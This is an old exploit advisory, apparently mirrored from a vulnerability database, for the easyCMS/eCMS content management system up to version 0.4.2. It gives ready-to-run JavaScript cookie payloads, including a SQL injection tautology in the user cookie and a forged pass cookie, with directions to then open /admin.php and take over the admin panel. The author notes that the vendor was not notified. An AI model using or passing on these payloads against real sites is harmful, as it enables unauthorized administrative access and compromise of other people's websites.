easyCMS <= 0.4.2 Multiple Remote Vulnerabilities

🗓️ 19 May 2008 00:00:00Reported by RootType

easyCMS version 0.4.2 Multiple Remote Vulnerabilities from 17 May 2008, including Insecure Cookie Handling and SQL Injection. Allows admin access and bypassing admin login


                                                --==+================================================================================+==--
--==+		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;easyCMS&nbsp;&lt;=&nbsp;0.4.2&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilitys&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



Discovered&nbsp;By:&nbsp;t0pP8uZz
Discovered&nbsp;On:&nbsp;17&nbsp;MAY&nbsp;2008
Script&nbsp;Download:&nbsp;http://ecomansys.sourceforge.net/
DORK:&nbsp;N/A



Vendor&nbsp;Has&nbsp;Not&nbsp;Been&nbsp;Notified!



DESCRIPTION:&nbsp;

eCMS&nbsp;(all&nbsp;versions&nbsp;avalible)&nbsp;suffers&nbsp;from&nbsp;multiple&nbsp;remote&nbsp;vulnerabilitys.

these&nbsp;include,&nbsp;Insecure&nbsp;Cookie&nbsp;Handling,&nbsp;SQL&nbsp;Injection.&nbsp;the&nbsp;version&nbsp;&lt;=&nbsp;0.2&nbsp;allows&nbsp;a&nbsp;admin&nbsp;cookie&nbsp;to&nbsp;be&nbsp;set&nbsp;and
grant&nbsp;full&nbsp;access&nbsp;to&nbsp;the&nbsp;admin&nbsp;area.

versions&nbsp;=&gt;&nbsp;0.2&nbsp;allows&nbsp;a&nbsp;simple&nbsp;sql&nbsp;statement&nbsp;to&nbsp;be&nbsp;inserted&nbsp;into&nbsp;the&nbsp;cookie&nbsp;bypassing&nbsp;the&nbsp;admin&nbsp;login.

see&nbsp;below&nbsp;for&nbsp;the&nbsp;vulnerabilitys.



SQL&nbsp;Injection&nbsp;(version&nbsp;=&gt;&nbsp;0.2):

javascript:document.cookie&nbsp;=&nbsp;&quot;user='&nbsp;or&nbsp;'1'='1;&nbsp;path=/&quot;;
javascript:document.cookie&nbsp;=&nbsp;&quot;pass=admin;&nbsp;path=/&quot;;

before&nbsp;running&nbsp;the&nbsp;above&nbsp;javascript&nbsp;in&nbsp;your&nbsp;browser,&nbsp;replace&nbsp;&quot;admin&quot;&nbsp;with&nbsp;the&nbsp;actual&nbsp;admin&nbsp;username.
most&nbsp;of&nbsp;the&nbsp;time&nbsp;&quot;admin&quot;&nbsp;should&nbsp;work.&nbsp;after&nbsp;running&nbsp;both&nbsp;javascripts&nbsp;on&nbsp;the&nbsp;affected&nbsp;website.
you&nbsp;can&nbsp;visit&nbsp;&quot;/admin.php&quot;&nbsp;to&nbsp;view&nbsp;admin&nbsp;panel.



Insecure&nbsp;Cookie&nbsp;Handling&nbsp;(version&nbsp;&lt;=&nbsp;0.2):

javascript:document.cookie&nbsp;=&nbsp;&quot;pass=1;&nbsp;path=/&quot;;

running&nbsp;the&nbsp;above&nbsp;javascript&nbsp;on&nbsp;a&nbsp;eCMS&nbsp;version&nbsp;&lt;=&nbsp;0.2&nbsp;will&nbsp;grant&nbsp;admin&nbsp;access,&nbsp;after&nbsp;running&nbsp;visit&nbsp;&quot;/admin.php&quot;



NOTE/TIP:&nbsp;

no&nbsp;dork,&nbsp;since&nbsp;people&nbsp;replace&nbsp;the&nbsp;dork&nbsp;in&nbsp;&quot;config.php&quot;


GREETZ:&nbsp;milw0rm.com,&nbsp;h4ck-y0u.org,&nbsp;CipherCrew&nbsp;!



peace,&nbsp;t0pP8uZz



--==+================================================================================+==--
--==+		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;easyCMS&nbsp;&lt;=&nbsp;0.4.2&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilitys&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

19 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

easyCMS &lt;= 0.4.2 Multiple Remote Vulnerabilities

easyCMS <= 0.4.2 Multiple Remote Vulnerabilities